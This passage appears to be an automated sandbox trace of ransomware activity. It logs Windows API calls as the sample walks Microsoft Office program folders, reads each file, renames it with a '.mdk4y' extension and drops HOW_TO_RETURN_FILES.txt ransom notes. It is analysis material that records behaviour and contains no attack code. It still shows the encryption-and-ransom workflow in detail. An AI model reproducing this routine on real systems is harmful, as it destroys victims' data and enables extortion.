Office\\Office14\\AccessWeb\\SERVWRAP.ASP.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\servwrap.asp.mdk4y")) returned 1 [0205.374] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 0 [0205.374] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0205.375] AreFileApisANSI () returned 1 [0205.375] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b9f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0205.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0205.376] GetFileType (hFile=0x12c) returned 0x1 [0205.377] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0205.377] AreFileApisANSI () returned 1 [0205.377] GetACP () returned 0x4e4 [0205.377] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACCICONS.EXE", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ACCICONS.EXE", lpUsedDefaultChar=0x37dfd8) returned 12 [0205.377] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\accicons.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0205.378] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828060800000) returned 1 [0205.378] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0205.400] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828063000000) returned 1 [0205.400] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828063000000) returned 1 [0205.411] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\accicons.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\accicons.exe.mdk4y")) returned 1 [0205.413] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0205.413] AreFileApisANSI () returned 1 [0205.413] GetACP () returned 0x4e4 [0205.413] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACCVDT.DLL", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ACCVDT.DLLXE", lpUsedDefaultChar=0x37dfd8) returned 10 [0205.413] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accvdt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0205.414] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828064400000) returned 1 [0205.414] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0205.444] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828067400000) returned 1 [0205.445] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828067500000) returned 1 [0205.477] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accvdt.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\accvdt.dll.mdk4y")) returned 1 [0205.479] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0205.479] AreFileApisANSI () returned 1 [0205.479] GetACP () returned 0x4e4 [0205.479] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACCWIZ", cchWideChar=6, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ACCWIZ.DLL", lpUsedDefaultChar=0x37dfd8) returned 6 [0205.479] AreFileApisANSI () returned 1 [0205.479] GetACP () returned 0x4e4 [0205.479] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=50, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\") returned 50 [0205.490] AreFileApisANSI () returned 1 [0205.490] GetACP () returned 0x4e4 [0205.490] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37df4c) returned 1 [0205.490] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0205.490] AreFileApisANSI () returned 1 [0205.490] GetACP () returned 0x4e4 [0205.490] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..", lpUsedDefaultChar=0x37df4c) returned 2 [0205.490] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0205.490] AreFileApisANSI () returned 1 [0205.490] GetACP () returned 0x4e4 [0205.490] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACWZDAT12.ACCDU", cchWideChar=15, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ACWZDAT12.ACCDU", lpUsedDefaultChar=0x37df4c) returned 15 [0205.490] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzdat12.accdu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0205.491] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828072100000) returned 1 [0205.491] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0205.523] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828075400000) returned 1 [0205.524] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828075400000) returned 1 [0205.532] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzdat12.accdu"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzdat12.accdu.mdk4y")) returned 1 [0205.534] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0205.534] AreFileApisANSI () returned 1 [0205.534] GetACP () returned 0x4e4 [0205.534] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACWZLIB.ACCDE", cchWideChar=13, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ACWZLIB.ACCDEDU", lpUsedDefaultChar=0x37df4c) returned 13 [0205.534] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzlib.accde"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0205.535] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828076500000) returned 1 [0205.535] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0205.584] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828081400000) returned 1 [0205.584] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828081400000) returned 1 [0205.593] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzlib.accde"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzlib.accde.mdk4y")) returned 1 [0205.595] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0205.595] AreFileApisANSI () returned 1 [0205.596] GetACP () returned 0x4e4 [0205.596] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACWZMAIN.ACCDE", cchWideChar=14, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ACWZMAIN.ACCDEU", lpUsedDefaultChar=0x37df4c) returned 14 [0205.596] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzmain.accde"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0205.596] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828082600000) returned 1 [0205.596] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0205.623] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828085300000) returned 1 [0205.623] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828085300000) returned 1 [0205.646] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzmain.accde"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzmain.accde.mdk4y")) returned 1 [0205.648] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0205.648] AreFileApisANSI () returned 1 [0205.648] GetACP () returned 0x4e4 [0205.648] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACWZTOOL.ACCDE", cchWideChar=14, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ACWZTOOL.ACCDE", lpUsedDefaultChar=0x37df4c) returned 14 [0205.648] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwztool.accde"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0205.649] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828087900000) returned 1 [0205.649] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0205.720] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828095000000) returned 1 [0205.720] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828095000000) returned 1 [0205.733] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwztool.accde"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwztool.accde.mdk4y")) returned 1 [0205.735] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0205.735] AreFileApisANSI () returned 1 [0205.735] GetACP () returned 0x4e4 [0205.735] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACWZUSR12.ACCDU", cchWideChar=15, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ACWZUSR12.ACCDU", lpUsedDefaultChar=0x37df4c) returned 15 [0205.735] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzusr12.accdu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0205.736] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828096600000) returned 1 [0205.736] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0205.757] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828098700000) returned 1 [0205.757] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828098700000) returned 1 [0205.782] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzusr12.accdu"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzusr12.accdu.mdk4y")) returned 1 [0205.784] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0205.784] AreFileApisANSI () returned 1 [0205.784] GetACP () returned 0x4e4 [0205.784] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="UTILITY.ACCDA", cchWideChar=13, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="UTILITY.ACCDADU", lpUsedDefaultChar=0x37df4c) returned 13 [0205.784] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\utility.accda"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0205.786] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828101600000) returned 1 [0205.786] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xbf000, lpOverlapped=0x0) returned 1 [0205.814] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828104400000) returned 1 [0205.814] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828104400000) returned 1 [0205.823] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\utility.accda"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\utility.accda.mdk4y")) returned 1 [0205.826] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 0 [0205.826] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0205.827] AreFileApisANSI () returned 1 [0205.827] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b9f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0205.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0205.828] GetFileType (hFile=0x12c) returned 0x1 [0205.830] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0205.830] AreFileApisANSI () returned 1 [0205.830] GetACP () returned 0x4e4 [0205.830] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACCWIZ.DLL", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ACCWIZ.DLL", lpUsedDefaultChar=0x37dfd8) returned 10 [0205.830] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0205.832] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828106200000) returned 1 [0205.832] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x33580, lpOverlapped=0x0) returned 1 [0205.847] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828107700000) returned 1 [0205.847] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828107700000) returned 1 [0205.850] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz.dll.mdk4y")) returned 1 [0205.852] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0205.852] AreFileApisANSI () returned 1 [0205.852] GetACP () returned 0x4e4 [0205.852] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACEDAO.DLL", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ACEDAO.DLL", lpUsedDefaultChar=0x37dfd8) returned 10 [0205.852] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\acedao.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0205.853] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828108300000) returned 1 [0205.853] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xb5db8, lpOverlapped=0x0) returned 1 [0205.876] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828110600000) returned 1 [0205.877] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828110700000) returned 1 [0205.885] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\acedao.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\acedao.dll.mdk4y")) returned 1 [0205.887] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0205.887] AreFileApisANSI () returned 1 [0205.887] GetACP () returned 0x4e4 [0205.887] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ADDINS", cchWideChar=6, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ADDINS.DLL", lpUsedDefaultChar=0x37dfd8) returned 6 [0205.887] AreFileApisANSI () returned 1 [0205.887] GetACP () returned 0x4e4 [0205.887] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=50, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\") returned 50 [0205.889] AreFileApisANSI () returned 1 [0205.889] GetACP () returned 0x4e4 [0205.889] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37df4c) returned 1 [0205.889] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0205.889] AreFileApisANSI () returned 1 [0205.889] GetACP () returned 0x4e4 [0205.889] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..", lpUsedDefaultChar=0x37df4c) returned 2 [0205.889] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0205.889] AreFileApisANSI () returned 1 [0205.889] GetACP () returned 0x4e4 [0205.889] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACCOLK.DLL", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ACCOLK.DLL", lpUsedDefaultChar=0x37df4c) returned 10 [0205.889] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\accolk.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0205.891] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828112100000) returned 1 [0205.891] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1e388, lpOverlapped=0x0) returned 1 [0206.070] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828130000000) returned 1 [0206.070] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828130000000) returned 1 [0206.072] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\accolk.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\accolk.dll.mdk4y")) returned 1 [0206.073] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0206.073] AreFileApisANSI () returned 1 [0206.073] GetACP () returned 0x4e4 [0206.073] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BCSAddin.dll", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BCSAddin.dll", lpUsedDefaultChar=0x37df4c) returned 12 [0206.073] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0206.074] AreFileApisANSI () returned 1 [0206.074] GetACP () returned 0x4e4 [0206.074] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ColleagueImport.dll", cchWideChar=19, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ColleagueImport.dll", lpUsedDefaultChar=0x37df4c) returned 19 [0206.074] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) 